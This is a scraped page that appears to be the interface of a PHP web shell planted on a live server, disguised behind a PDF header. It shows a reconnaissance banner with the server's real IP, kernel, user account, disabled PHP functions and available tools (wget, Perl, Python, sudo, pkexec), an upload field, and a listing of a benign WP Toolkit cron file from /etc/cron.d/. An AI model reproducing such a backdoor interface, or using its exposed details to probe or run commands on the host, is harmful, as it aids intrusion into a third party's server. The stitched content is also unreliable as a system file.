%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.216.24 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /etc/cron.d/ |
Upload File : |
### Copyright 1999-2025. WebPros International GmbH. All rights reserved. # This cronjob is responsible for receiving the updates of WP Toolkit. # It works as following logic: # - WPT CLI is called to receive the available update version; # - If update is found, then the URLs to the host with repositories are updated and cache is cleared for WPT repos; # - If WPT CLI is failed (e.g. unable to communicate with update service or WPT is completely broken), then # the cronjob executes wp-toolkit-installer script to set the default URLs to host with repositories; # - Finally the package manager is called to install latest available version. # Installation of WP Toolkit package always should overwrite configs, # this allow to deliver fixes for these files without manual actions from server' admins, # to do that the Dpkg option 'force-confnew' is used. 0 1 * * * root sleep $((1 + RANDOM \% 5))h $((1 + RANDOM \% 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; DEBIAN_FRONTEND=noninteractive LANG=C /usr/bin/apt-get --assume-yes --no-reinstall -o Dpkg::Options::="--force-confnew" install "wp-toolkit-cpanel" > /dev/null 2> /dev/null